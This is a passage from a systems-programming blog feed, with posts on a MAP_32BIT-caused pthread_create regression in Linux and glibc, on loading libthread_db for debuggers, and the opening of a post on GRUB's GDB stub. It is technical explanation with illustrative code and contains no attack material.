<p>This blog post will show how a fix for XFree86 and linuxthreads ended up causing a major threading regression about <i>7 years after</i> the fix was created.</p>
<p>The regression was in <code>pthread_create</code>. Thread creation performed very slowly as the number of threads in a process increased. <b>This bug is present on CentOS 5.3 (and earlier) and other linux distros as well.</b></p>
<p>It is also very possible that this bug impacted research done before <b>August 15, 2008</b> (in the best case because Linux distro releases are slow) on building high performance threaded applications.</p>
<p>Digging this thing out was definitely one of the more interesting bug hunts in recent memory.</p>
<p>Hopefully, my long (and insane) story will encourage you to <i>thoroughly</i> investigate suspicious sources of performance degradation before applying the &#8220;[<i>thing</i>] is slow&#8221; label.</p>
<p>[<i>thing</i>] might be slow, but it may be useful to understand <i>why</i>.</p>
<h2>Versions</h2>
<p>This blog post will be talking about:</p>
<ul>
<li><code>glibc 2.7</code>. Earlier versions are probably affected, but you will need to go look and see for sure.</li>
<li>Linux kernels earlier than <code>2.6.27</code>. Some linux distributions will backport fixes, so it is possible you could be running an earlier kernel version, but without the bug described below. You will need to go look and see for sure.</li>
</ul>
<h2>Linux&#8217;s <code>mmap</code> and <code>MAP_32BIT</code></h2>
<p><code>mmap</code> is a system call that a program can use to map regions of memory into its address space. <code>mmap</code> can be used to map files into RAM and to share these mappings with other processes. <code>mmap</code> is also used by memory allocators to obtain large regions of memory that can be carved up and handed out to a program.</p>
<p>On <b>June 29, 2001</b>, Andi Kleen added a flag to Linux&#8217;s <code>mmap</code> called <code>MAP_32BIT</code>. This commit message reads in part1:</p>
<blockquote><p>This adds a new mmap flag to force mappings into the low 32bit address space.<br />
Useful e.g. for XFree86&#8217;s ELF loader or linuxthreads&#8217; thread local<br />
data structures.
</p></blockquote>
<p>As Kleen mentions, <a href="http://www.xfree86.org/">XFree86</a> has its own ELF loader that appears to have been released as part of the <a href="http://www.xfree86.org/4.0.1/RELNOTES3.html">4.0.1 release</a> back in 2000. The purpose of this ELF loader is to allow loadable module support for XFree86 even on systems that don&#8217;t necessarily have support for loadable modules. Another interesting side effect of the decision to include an ELF loader is that loadable modules can be built once and then reused on any system that XFree86 supports without recompiling the module source.</p>
<p>It appears that Kleen added <code>MAP_32BIT</code> to allow programs (like XFree86) which assumed <code>mmap</code> would always return 32-bit addresses to continue to work properly as 64-bit processors were beginning to enter the market.</p>
<p>Then, on <b>November 11, 2002</b>, Egbert Eich added some code to XFree86 to actually use the <code>MAP_32BIT</code> flag, the commit message says:</p>
<blockquote><p>
 532. Fixed module loader to map memory in the low 32bit address space on<br />
      x86-64 (Egbert Eich).
</p></blockquote>
<p>Thus, 64-bit XFree86 builds would now have a working ELF loader since those builds would be able to get memory with 32-bit addresses.</p>
<p>I will touch on the threading implications mentioned in Kleen&#8217;s commit message a bit later.</p>
<h2>ELF small code execution model and a tweak to MAP_32BIT</h2>
<p>The <a href="http://refspecs.linuxfoundation.org/elf/x86_64-abi-0.95.pdf">AMD64 ABI</a> lists several different code models which differ in addressing, code size, data size, and address range.</p>
<p>Specifically, the spec defines something called the <b>small code model</b>.</p>
<p>The <b>small code model</b> is defined such that that all symbols are known to be located in the range from 0 to 0x7EFFFFFF (among other things that are way beyond the scope of this blogpost).</p>
<p>In order to support this code execution model, Kleen added a small tweak to <code>MAP_32BIT</code> to limit the range of addresses that <code>mmap</code> would return in order to support the small code execution model.</p>
<p>Unfortunately, I have not been able to track down the exact commit with Kleen&#8217;s commit message (if there was one), but it occurred sometime between <b>November 28, 2002</b> (kernel 2.4.20) and <b>June 13, 2003</b> (kernel 2.4.21).</p>
<p>I did find <a href="ftp://kernel.nic.funet.fi/pub/linux/kernel/v2.4/patch-html/patch-2.4.21/linux-2.4.21_arch_x86_64_kernel_sys_x86_64.c.html">what looks like a merge commit or something</a>. It shows the code Kleen added and a useful comment explaining why the address range was being limited:</p>
<pre class="prettyprint">
+	} else if (flags & MAP_32BIT) { 
+		/* This is usually used needed to map code in small
+		   model: it needs to be in the first 31bit. Limit it
+		   to that.  This means we need to move the unmapped
+		   base down for this case.  This may give conflicts
+		   with the heap, but we assume that malloc falls back
+		   to mmap. Give it 1GB of playground for now. -AK */ 
+		if (!addr) 
+			addr = 0x40000000; 
+		end = 0x80000000;		
</pre>
</p>
<p>Unfortunately, now the flag&#8217;s name <code>MAP_32BIT</code> is inaccurate.</p>
<p>The <i>range</i> has been limited to a <b>single gigabyte</b> from <code>0x40000000</code> (1gb) &#8211; <code>0x80000000</code> (2gb). This is good enough for the <b>ELF small code model</b> mentioned above, but this means any memory successfully mapped with <code>MAP_32BIT</code> is actually mapped <b>within the first 31 bits</b> and thus this flag should probably be called <code>MAP_31BIT</code> or something else that more accurately describes its behavior.</p>
<p>Oops.</p>
<h2>pthread_create and thread stacks</h2>
<p>When you create a thread using <code>pthread_create</code> there are two ways to allocate a region of memory for that thread to use as its stack:</p>
<ul>
<li>Allow <code>libpthread</code> to allocate the stack itself. You do this by simply calling <code>pthread_create</code>. This is the common case for most programs. Use <code>pthread_attr_getstacksize</code> and <code>pthread_attr_setstacksize</code> to get and set the stack size.</li>
</ul>
<p><b>or</b></p>
<ul>
<p><li>A three step process:
</p>
<ol>
<li>Allocate a region of memory possibly with <code>mmap</code>, <code>malloc</code> (which may just call <code>mmap</code> for large allocations), or statically.</li>
<li>Use <code>pthread_attr_setstack</code> to set the address and size of the stack in a pthread attribute object.</li>
<li>Pass said attribute object along to <code>pthread_create</code> and the thread which is created will have your memory region set as its stack.</li>
</ol>
</li>
</ul>
<h2>Slow context switches, glibc, thread local storage, &#8230; wow &#8230;</h2>
<p>A lot of really crazy shit happened in 2003, so I will try my best to split into digestible chunks.</p>
<h3><u>Slow context switching on AMD k8</u></h3>
<p>On <b>February 12, 2003</b>, it was reported that <a href="http://marc.info/?l=linux-kernel&#038;m=104501441623187&#038;w=3">early AMD P4</a> CPUs were very slow when executing the <code>wrmsr</code> instruction. This instruction is used to write to <a href="http://wiki.osdev.org/Model_Specific_Registers">model specific registers (MSRs)</a>. This instruction was used a few times in context switch code and removing it would help speed up context switch time. This code was refactored, but the data gathered here would be used as a justification for using <code>MAP_32BIT</code> in glibc a few months later.</p>
<h3><u>MAP_32BIT being introduced to <code>glibc</code></u></h3>
<p>On <b>March 4, 2003</b>, it appears that Ulrich Drepper added code to <code>glibc</code> to use the <code>MAP_32BIT</code> flag in <code>glibc</code>. As far as I can tell, this was the first time <code>MAP_32BIT</code> was introduced to <code>glibc</code>2 .</p>
<p>An interesting comment is presented with a small piece of the patch:</p>
<pre class="prettyprint">
+/* For Linux/x86-64 we have one extra requirement: the stack must be
+   in the first 4GB.  Otherwise the segment register base address is
+   not wide enough.  */
+#define EXTRA_PARAM_CHECKS \
+  if ((uintptr_t) stackaddr > 0x100000000ul                                  \
+      || (uintptr_t) stackaddr + stacksize > 0x100000000ul)                  \
+    /* We cannot handle that stack address.  */                                      \
+    return EINVAL
</pre>
</p>
<p>To understand this comment it is important to understand how Linux deals with thread local storage.</p>
<p>Briefly,</p>
<ul>
<li>Each thread has a thread control block (TCB) that contains various internal information that <code>nptl</code> needs, including some data that can be used to access thread local storage.</li>
<li>The TCB is written to the start of the thread stack by <code>nptl</code>.</li>
<li>The address of the TCB (and thus the thread stack) needs to be stored in such a way that <code>nptl</code>, code generated by <code>gcc</code>, and the kernel can access the thread control block of the currently running thread. In other words, it needs to be context switch friendly.</li>
<li>The register set of Intel processors is saved and restored each time a context switch occurs.</li>
<li>Saving the address of the TCB in a register would be ideal.</li>
</ul>
<p>x86 and x86_64 processors are notorious for not having many registers available, however Linux does not use the <code>FS</code> and <code>GS</code> segment selectors for segmentation. So, the address of the TCB can be stored in <code>FS</code> or <code>GS</code> <b>if</b> it will fit.</p>
<p>Unfortunately, the segment selectors <code>FS</code> and <code>GS</code> can only store 32-bit addresses and this is why Ulrich added the above code. Addresses above 4gb could not be stored in <code>FS</code> or <code>GS</code>.</p>
<p>It appears that this comment is correct for all of the Linux 2.4 series kernels and all Linux 2.5 kernels less than <b>2.5.65</b>. On these kernel versions, only the segment selector is used for storing the thread stack address and as a result no thread stack above 4gb can be stored. </p>
<h3><u>32-bit and 64-bit thread stacks</u></h3>
<p>Starting with Linux <b>2.5.65</b> (and more practically, Linux <b>2.6.0</b>), support for both 32-bit and 64-bit thread stacks had made its way into the kernel. 32-bit thread stacks would be stored in a segment selector while 64-bit thread stack addresses would be stored in a model specific register (MSR).</p>
<p>Unfortunately, as was reported back in <b>February 12, 2003</b>, writing to MSRs is painfully slow on early AMD K8 processors. To avoid writing to an MSR, you would need to supply a 32-bit thread stack address, and thus Ulrich added the following code to <code>glibc</code> on <b>May 9, 2003</b>:
</p>
<p><pre class="prettyprint">
+/* We prefer to have the stack allocated in the low 4GB since this
+   allows faster context switches.  */
+#define ARCH_MAP_FLAGS MAP_32BIT
+
+/* If it is not possible to allocate memory there retry without that
+   flag.  */
+#define ARCH_RETRY_MMAP(size) \
+  mmap (NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC,                              \
+       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)
+
+
</pre>
</p>
<p>This code is interesting for two reasons:</p>
<ol>
<li>The justification for using <code>MAP_32BIT</code> has changed from the kernel not supporting addresses above 4gb to decreasing context switch cost.</li>
<li>A retry mechanism is added so that if no memory is available when using <code>MAP_32BIT</code>, a thread stack will be allocated somewhere else.</li>
</ol>
<p>At some unknown (by me) point in 2003, <code>MAP_32BIT</code> had been sterilized as explained earlier to deal with the ELF small code model in the AMD64 ABI.</p>
<p>The end result being that user programs have only 1gb of space with which to allocate all their thread stacks (or other low memory requested with <code>MAP_32BIT</code>).</p>
<p><b>This seems bad.</b></p>
<h2>Fast forward to 2008: an bug</h2>
<p>On <b>August 13, 2008</b> an individual named &#8220;Pardo&#8221; from Google <a href="https://lkml.org/lkml/2008/8/12/423">posted a message</a> to the Linux kernel mailing list about a regression in <code>pthread_create</code>:</p>
<blockquote><p>
mmap() is slow on MAP_32BIT allocation failure, sometimes causing<br />
NPTL&#8217;s pthread_create() to run about three orders of magnitude slower.<br />
As example, in one case creating new threads goes from about 35,000<br />
cycles up to about 25,000,000 cycles &#8212; which is under 100 threads per<br />
second.
</p></blockquote>
<p>Pardo had filled the 1gb region that <code>MAP_32BIT</code> tries to use for thread stacks causing <code>glibc</code> to fallback to the retry mechanism that Drepper added back in 2003.</p>
<p><b>Unfortunately, the failing mmap call with <code>MAP_32BIT</code> was doing a <u>linear fucking search</u> of all the &#8220;low address space&#8221; memory regions trying to find a fit</b> before falling back and calling <code>mmap</code> a second time without <code>MAP_32BIT</code>.</p>
<p>And so after a few thousand threads, every new <code>pthread_create</code> call would trigger two system calls, the first of which would do a linear search of low memory before failing. The linear search and retry <i>dramatically</i> increased the time to create new threads.</p>
<p>This is pretty bad.</p>
<h2>bugfixes for the kernel and glibc</h2>
<p>So, how does <code>glibc</code> and the kernel fix this problem?</p>
<p>Ingo Molnar convinced everyone that the best solution was to add a new flag to the Linux kernel called <code>MAP_STACK</code>. This flag would be defined as &#8220;give out an address that is best suited for process/thread stacks&#8221;. This flag would actually be <b>ignored</b> by the kernel. This change appeared in Linux kernel <b>2.6.27</b> and was added on <b>August 13, 2008</b>.</p>
<p>Ulrich Drepper updated <code>glibc</code> to use <code>MAP_STACK</code> <i>instead of</i> <code>MAP_32BIT</code> and he removed the retry mechanism he added in 2003 since <code>MAP_STACK</code> should always succeed if there is any memory available. This change was added on <b>August 15, 2008</b>.</p>
<p><code>MAP_32BIT</code> <i><b>cannot</b></i> be removed from the kernel, unfortunately because there are many programs out in the wild (older versions of glibc, Xfree86, <a href="https://bugzilla.redhat.com/show_bug.cgi?format=multiple&#038;id=445545">older versions of ocamlc</a>) that rely on this flag existing to actually work.</p>
<p>And so, <code>MAP_32BIT</code> will remain. A misnamed, strange looking wart that will probably be around forever to remind us that <b>computers are hard</b>.</p>
<h2>Bad research (or not)?</h2>
<p>I recall reading a paper that benchmarked thread creation time from back in the 2005-2008 time period which claimed that as the number of threads increased the time to create new threads also increased and thus, threads were bad.</p>
<p>I can&#8217;t seem to find that paper and it is currently 3:51 AM PST, so, who knows I could be misremembering things. If some one knows what paper I am talking about, please let me know.</p>
<p>If such a paper exists (and I think it does), this blog post explains why thread creation benchmarks would have resulted in really bad looking graphs.</p>
<h2>Conclusion</h2>
<p>
I really don&#8217;t even know what to say, but:</p>
<ul>
<li>Computers are hard</li>
<li>Ripping the face off of bugs like this is actually pretty fun</li>
<li>Be careful when adding linear time searches to potential hot paths</li>
<li>Make sure to carefully read and consider the effects of low level code</li>
<li>Git is your friend and you should use it to find data about things from years long gone</li>
<li>Any complicated application, kernel, or whatever will have a large number of ugly scars and warts that cannot be changed to maintain backward compatibility. Such is life.</li>
</ul>
<p>If you enjoyed this article, <a type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed" rel="alternate">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>References</h2>
<ol class="footnotes"><li id="footnote_0_2359" class="footnote"> <a href="http://web.archiveorange.com/archive/v/iv9U0zrDmBRAagTHyhHz">http://web.archiveorange.com/archive/v/iv9U0zrDmBRAagTHyhHz</a> </li><li id="footnote_1_2359" class="footnote"> The sha for this change is: 0de28d5c71a3b58857642b3d5d804a790d9f6981 for those who are curious to read more. </li></ol>]]></content:encoded>
			</item>
		<item>
		<title>realtalk.io: an podcast for technical discussion</title>
		<link>http://timetobleed.com/realtalk-io-an-podcast-for-technical-discussion/</link>
		<pubDate>Mon, 29 Apr 2013 05:23:12 +0000</pubDate>
		<dc:creator><![CDATA[Joe Damato]]></dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=2370</guid>
		<description><![CDATA[James Golick and I have released the inaugural episode of our new, highly technical podcast realtalk.io. We will be doing frequent technical deep dives and releasing our conversations raw and unedited with all errors, omissions, awkward pauses, and curse words intact. Check out the website, tune in, and subscribe.]]></description>
				<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/biggie.png" /></center></p>
<p><a href="http://twitter.com/jamesgolick">James Golick</a> and I have released the inaugural episode of our new, highly technical podcast <a href="http://realtalk.io">realtalk.io</a>.</p>
<p>We will be doing frequent technical deep dives and releasing our conversations raw and unedited with all errors, omissions, awkward pauses, and curse words intact.</p>
<p>Check out the <a href="http://realtalk.io">website</a>, <a href="http://soundcloud.com/realtalkio">tune in</a>, and <a href="http://feeds.feedburner.com/realtalkio">subscribe</a>.</p>
]]></content:encoded>
			</item>
		<item>
		<title>Notes about an odd, esoteric, yet incredibly useful library: libthread_db</title>
		<link>http://timetobleed.com/notes-about-an-odd-esoteric-yet-incredibly-useful-library-libthread_db/</link>
		<pubDate>Mon, 22 Apr 2013 09:24:10 +0000</pubDate>
		<dc:creator><![CDATA[Joe Damato]]></dc:creator>
				<category><![CDATA[debugging]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[x86]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=2306</guid>
		<description><![CDATA[If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter. tl;dr This blog post will examine one of the weirder libraries I&#8217;ve come across: libthread_db. libthread_db is typically used by debuggers, tracers, and other low level debugging/profiling applications to gather information about the threads in a running target process. Unfortunately, [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/weirdlibrary.jpg" alt="" width="400" height="300" /></center><br />
If you enjoy this article, <a type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed" rel="alternate">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>tl;dr</h2>
<p>This blog post will examine one of the weirder libraries I&#8217;ve come across: <code>libthread_db</code>.</p>
<p><code>libthread_db</code> is typically used by debuggers, tracers, and other low level debugging/profiling applications to gather information about the threads in a running target process. Unfortunately, the documentation about how to use this library is a bit lacking and using it <b>is not straightforward</b> at all.</p>
<p>This library is pretty strange and there are several gotchas when trying to write a debugger or tracing program that makes use of the various features <code>libthread_db</code> provides.</p>
<h2>Loading the library (and probably failing)</h2>
<p>As strange as it may seem to those who haven&#8217;t used this library before, loading and linking to <code>libthread_db</code> is not as straight forward as simply adding <code>-lthread_db</code> to your linker flags.</p>
<p>The key thing to understand is that different target programs may use different threading libraries. Individual threading libraries may or may not have a corresponding <code>libthread_db</code> that works with a particular threading library, or even with a <i>particular version</i> of a particular threading library.</p>
<p>So until you attach to a target process, you have no idea which of the possibly several <code>libthread_db</code> libraries on the system you will need to use to gather threading information from a target process.</p>
<p>You don&#8217;t even know <i>where</i> the corresponding <code>libthread_db</code> library may live.</p>
<p>So, to load <code>libthread_db</code> in your debugger/tracer, you must:</p>
<ol>
<li>Attach to your target process, usually via <code>ptrace</code>.</li>
<li>Traverse the target process&#8217; link map to determine which libraries are currently loaded. Your program should search for the threading library of the process (often <code>libpthread</code>, but maybe your target program uses something else instead).</li>
<li>Once found, your program can search in nearby directories for the location of <code>libthread_db</code>. In the most common case, a program will use <code>libpthread</code> as its threading library and the corresponding <code>libthread_db</code> will be located in the same directory. Of course, you could also <a href="http://sourceware.org/gdb/onlinedocs/gdb/Threads.html">allow the user to specify the exact location</a>.</li>
<li>Once found, simply use libdl to <code>dlopen</code> the libary.</li>
<li>If your target process is a linux process which uses <code>libpthread</code> (a common casse), <code>libthread_db</code> <b>fails to load</b> with libdl. Other <code>libthread_db</code> libraries may or may not load fine.</li>
</ol>
<h2>libthread_db&#8217;s numerous undefined symbols</h2>
<p>If you&#8217;ve followed the above steps to attempt to locate <code>libthread_db</code> and are targeting a linux process that uses <code>libpthread</code>, you have now most likely failed to load it due to a number of undefined symbols.</p>
<p>Let&#8217;s use <code>ldd</code> to figure out what is going on:</p>
<pre class="prettyprint">
joe@ubuntu:~$ ldd -r /lib/x86_64-linux-gnu/libthread_db.so.1 | grep undefined
undefined symbol: ps_pdwrite	(/lib/x86_64-linux-gnu/libthread_db.so.1)
undefined symbol: ps_pglobal_lookup	(/lib/x86_64-linux-gnu/libthread_db.so.1)
undefined symbol: ps_lsetregs	(/lib/x86_64-linux-gnu/libthread_db.so.1)
undefined symbol: ps_getpid	(/lib/x86_64-linux-gnu/libthread_db.so.1)
undefined symbol: ps_lgetfpregs	(/lib/x86_64-linux-gnu/libthread_db.so.1)
undefined symbol: ps_lsetfpregs	(/lib/x86_64-linux-gnu/libthread_db.so.1)
undefined symbol: ps_lgetregs	(/lib/x86_64-linux-gnu/libthread_db.so.1)
undefined symbol: ps_pdread	(/lib/x86_64-linux-gnu/libthread_db.so.1)
</pre>
</p>
<h2>Bring your own symbols to this party</h2>
<p><code>libthread_db</code> will fail to load due to undefined symbols because the library <i>expects your program</i> to provide the implementations of these symbols. Unfortunately, the only way to determine which functions must be implemented is to examine the source code of the <code>libthread_db</code> implementation(s) you are targeting.</p>
<p>The <code>libthread_db</code> implementations that come with glibc include a header file named <code>proc_service.h</code> which list all the functions and prototypes that your program must provide. I&#8217;ve noticed that other <code>libthread_db</code> implementations also provide a similar header file.</p>
<p>These functions are all very platform specific and to maximize the portability of the various implementations of <code>libthread_db</code> the implementations are left to the program using <code>libthread_db</code>.</p>
<p>In general, your program must provide implementations of:</p>
<ul>
<li>Functions to read from and write to the address space of a targeted process. Typically implemented with <code>ptrace</code>.</li>
<li>Functions to read and write the general purpose registers and floating point registers (if there are any). Typically implemented with <code>ptrace</code>.</li>
<li>A function to locate a specified shared object and search that object for a particular symbol. This function is significantly more complex than the other functions. Your program could use something like libbfd or libelf to make locating a library and searching it&#8217;s symbol tables easier. If you are implementing a debugger or tracer, you likely already have the pieces you need to implement this function.</li>
<li>A structure <code>struct ps_prochandle</code> that <code>libthread_db</code> will pass through to the functions you implemented that are described above. You will place whatever data your functions will need. Typically this is something like a <code>pid</code> that you can pass through to <code>ptrace</code>.</li>
</ul>
<h2><code>libthread_db</code> still fails to load</h2>
<p>So, you&#8217;ve implemented the symbols you were required to implement, but you are still unable to load <code>libthread_db</code> with <code>libdl</code> because you are getting <code>undefined symbol: ...</code> errors.</p>
<p>Even stranger, <b>you are getting these errors even though you are providing the symbols</b> listed in the error messages!</p>
<p>The problem that you are running into is that the symbols are not being placed into the correct ELF symbol table. When you build an executable with gcc, the exported symbols of the executable are placed in the ELF section named <code>.symtab</code>. When <code>libthread_db</code> gets loaded with <code>libdl</code>, only the symbols in the <code>.dynsym</code> symbol table are examined to resolve dependencies. Thus, your symbols will not be found and <code>libthread_db</code> will fail to load.</p>
<p>Why this happens is beyond the scope of this blog post, but I&#8217;ve written about dynamic linking and symbol tables before <a href="http://timetobleed.com/dynamic-linking-elf-vs-mach-o/">here</a> and <a href="http://timetobleed.com/dynamic-symbol-table-duel-elf-vs-mach-o-round-2/">here</a>, if you are curious to learn a bit more.</p>
<h2>Use this one weird trick for getting your symbols in the dynamic symbol table</h2>
<p>There are actually <i>two</i> ways to make sure your symbols end up in the dynamic symbol table.</p>
<p>The first way to do it is to use the large hammer approach and pass the flag <code>--export-dynamic</code> to <code>ld</code>. This will add all exported symbols to the dynamic symbol table and you will be able to load <code>libthread_db</code>.</p>
<p>The second way to do it is much cleaner and strongly recommend over the previous method.</p>
<ul>
<li>Create a file which specifies the symbol names you want added to the dynamic symbol table.</li>
<li>Use the linker flag <code>--dynamic-list=FILENAME</code> to let <code>ld</code> know which symbols you want placed in the dynamic symbol table.</li>
</ul>
<p>Your file might look something like this:</p>
<pre class="prettyprint">
{
   ps_pdread;
   ps_pdwrite;
   ps_pglobal_lookup;
   /* more symbol names would go here... */
};
</pre>
</p>
<p>
If you are using <code>gcc</code>, you can then simply pass the flag: <code>-Wl,--dynamic-list=FILENAME</code> and your executable will have the symbols listed in the file placed in the dynamic symbol table.
</p>
<p>Regardless of which method you use be sure to verify the results by using <code>readelf</code> to determine if the symbols actually made it to the correct symbol table.</p>
<h2>Calling the initialize function and allocating a <code>libthread_db</code> handle</h2>
<p>So, after all that work you will <i>finally</i> be able to load the library.</p>
<p>Since the library was loaded with <code>libdl</code>, you will need to use <code>dlsym</code> to grab function pointers to all the functions you intend to use. This is kind of tedious, but you can make clever use of C macros to help you, as long as you also make use of documentation to explain how they work.</p>
<p>So, to find and call the initialize function (without any macros for sanity and clarity):</p>
<pre class="prettyprint">
   /* find the init function */
   td_init = dlsym(handle, "td_init");
   if (td_init == NULL) {
     fprintf(stderr, "Unable to find td_init");
     return -1;
   }

  /* call the init function */
  err = td_init();
  if (err != TD_OK) {
     fprintf(stderr, "td_init: %d\n",err);
     return -1;
  }

  /* find the libthread_db handle allocator function */
  td_ta_new = dlsym(handle, "td_ta_new");                                       
  if (td_ta_new == NULL) {                                                      
     fprintf(stderr, "Unable to find td_ta_new");                                           
     return -1;                                                                      
  }
 
  /* call td_ta_new */
  err = td_ta_new(&somestructure->ph, &somestructure->ta);
  if (err != TD_OK) {                                                               
     fprintf(stderr, "td_ta_new failed: %d\n", err);                           
     return -1;
  }

  /* XXX don't forget about td_ta_delete */
</pre>
</p>
<h2>A cool version check</h2>
<p><code>td_ta_new</code> performs a rather interesting version check when called before allocating a handle:</p>
<ol>
<li>First, it uses the <code>ps_pglobal_lookup</code> symbol you implemented to search for the symbol <code>nptl_version</code> in the <code>libpthread</code> library linked into the remote process. Your function should find this symbol and return the address.</li>
<li>Next, <code>td_ta_new</code> reads several bytes from the target process at the address your <code>ps_pglobal_lookup</code> returned using your <code>ps_pdread</code> function.</li>
<li>Lastly, the bytes read from the target process are checked against <code>libthread_db</code>&#8216;s internal version to determine if the versions match.</li>
</ol>
<p>So, the library you load calls functions you implemented to search the symbol tables of a process you are attached to in order to read a series of bytes out of that process&#8217; address space to determine if that process&#8217; threading library matches the version of <code>libthread_db</code> you loaded into your debugger.</p>
<p>Fucking rad.</p>
<p>By the way, if you were wondering why <code>libpthread</code> is one of the few libraries that is not stripped on Linux, now you know. If it were stripped, this check would fail, unless of course your <code>ps_pglobal_lookup</code> function searched debug information.</p>
<h2>Now you can use the library</h2>
<p>At this point, you&#8217;ve done enough setup to be able to <code>dlsym</code> search for and call various functions to iterate over the threads in a remote process, to be notified asynchronously when threads are created or destroyed, and to access thread local data if you want to.</p>
<h2>Conclusion</h2>
<p>Here&#8217;s a summary of the steps you need to go through to load, link, and use <code>libthread_db</code>:</p>
<ul>
<li>Implement a series of functions and structures specified in the <code>libthread_db</code> implementation(s) you are targeting. You can find these in the header file called <code>proc_service.h</code>.</li>
<li>Attach to the remote process, determine the path of the threading library it is using and look nearby to find <code>libthread_db</code>. Alternatively, allow the user to specify the location of <code>libthread_db</code>.</li>
<li>Use <code>libdl</code> to load the library by calling <code>dlopen</code>.</li>
<li>Use <code>dlsym</code> to find <code>td_init</code> and <code>td_ta_new</code>. Call these functions to initialize the library.</li>
<li>Ensure you are using either <code>--export-dynamic</code> or <code>--dynamic-list=FILENAME</code> to place the symbols in the correct symbol table so that the runtime dynamic linker will find them when you load <code>libthread_db</code>.</li>
<li>Make sure to use lots of error checking and debug output to ensure that your implemented functions are being hit and that they are returning the proper return values as specified in <code>proc_service.h</code>.</li>
<li>Sit back and consider that this entire process actually works and allows you to debug or trace processes with multiple threads.</li>
</ul>
<p>If you enjoyed this article, <a type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed" rel="alternate">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
]]></content:encoded>
			</item>
		<item>
		<title>How a crazy GNU assembler macro helps you debug GRUB with GDB</title>
		<link>http://timetobleed.com/how-a-crazy-gnu-assembler-macro-helps-you-debug-grub-with-gdb/</link>
		<pubDate>Mon, 26 Nov 2012 08:09:30 +0000</pubDate>
		<dc:creator><![CDATA[Joe Damato]]></dc:creator>
				<category><![CDATA[bugfix]]></category>
		<category><![CDATA[debugging]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[x86]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=2281</guid>
		<description><![CDATA[If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter. tl;dr Debugging boot loaders and other low level pieces of a computer system can be pretty tricky, especially because you may not have multiprocess support or access to a hard drive or other devices. This blog post examines one way [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/bootloader.gif" alt="" width="400" height="300" /></center><br />
If you enjoy this article, <a type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed" rel="alternate">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>tl;dr</h2>
<p>Debugging boot loaders and other low level pieces of a computer system can be pretty tricky, especially because you may not have multiprocess support or access to a hard drive or other devices.</p>
<p>This blog post examines one way of debugging these sorts of systems by examining an <b>insanely clever</b> GNU assembler macro and some GDB stub code in the GRUB boot loader.</p>
<p>This piece of stub code allows a programmer to debug GRUB with GDB over a serial cable to help diagnose a broken boot loader.</p>
<h2>why?</h2>
<p><u>Firstly, the macro that will be examined is truly a thing of beauty</u>. The macro generates assembly code stubs for a range of interrupts via recursion and, with <i>very</i> clever use of labels, <i>automatically</i> writes the addresses of the generated assembly to an array so that those addresses can later be used as interrupt handler offsets.</p>
<p>Secondly, I think debugging is actually much more interesting than programming in most cases. In particular, debugging low level things like GRUB are particularly interesting to me because of the weird situations that arise. Imagine you are trying to debug something, but you have no keyboard, maybe video is only sort of working, you don&#8217;t have multiprocess support, and you aren&#8217;t able to communicate with your hard drive.</p>
<p>How do you debug a page fault in a situation like this?</p>
<p>This blog post will attempt to explain how GRUB overcomes this by using some really clever code coupled with GDB&#8217;s remote debug functionality.</p>
<h2>overview of what you are about to see</h2>
<ul>
<li>GRUB&#8217;s GDB module is loaded.</li>
<li>The module calls a function named <code>grub_gdb_idtinit</code>.</li>
<li><code>grub_gdb_idtinit</code> loads the interrupt descriptor table with addresses of functions to be executed when various interrupts are raised on the system.</li>
<li>The addresses of the interrupt handlers are from an array called <code>grub_gdb_trapvec</code>.</li>
<li>The code for <i>two different types</i> of interrupt handlers is generated with a series of insanely clever macros, explained in <i>detail</i> below. The main macro named <code>ent</code> uses recursion and clever placement of labels to automatically generate the assembly code stubs and write their addresses to <code>grub_gdb_trapvec</code>.</li>
<li>The addresses of the interrupt handler code is filled in the <code>grub_gdb_trapvec</code> array by using <a href="http://www.sourceware.org/binutils/docs-2.12/as.info/Symbol-Names.html#Symbol%20Names">labels</a>.</li>
<li>The generated code of the interrupt handlers themselves call <code>grub_gdb_trap</code>.</li>
<li><code>grub_gdb_trap</code> reads and writes packets according to GDB&#8217;s <a href="http://sourceware.org/gdb/onlinedocs/gdb/Remote-Protocol.html">remote serial protocol</a>.
<li>The remove debugger is now able to set breakpoints, dump register contents, or step through instructions via serial cable.</li>
</ul>
<p>Prepare yourself.
</p>
<h2>GRUB&#8217;s GDB module initialization</h2>
<p>The GRUB 2.0 boot loader supports dynamically loaded modules to extend the functionality of GRUB. I&#8217;m going to dive right into the GDB module, but you can read more about writing your own modules <a href="http://blog.fpmurphy.com/2010/06/grub2-modules.html">here</a>.</p>
<p>The GRUB&#8217;s GDB module has an init function that looks like this1:</p>
<pre class="prettyprint">
GRUB_MOD_INIT (gdb)
{

  grub_gdb_idtinit ();

  cmd = grub_register_command ("gdbstub", grub_cmd_gdbstub,
                               N_("PORT"),
                               N_("Start GDB stub on given port"));

  cmd_break = grub_register_command ("gdbstub_break", grub_cmd_gdb_break,
                                     0, N_("Break into GDB"));

/* other code */
</pre>
</p>
<p>This module init function starts by calling a function named <code>grub_gdb_idtinit</code> which has a lot interesting code that we will examine shortly. As we will see, this function creates a set of interrupt handlers and installs them so that any exceptions (divide by 0, page fault, etc) that are generated will trigger GDB on the remote computer.</p>
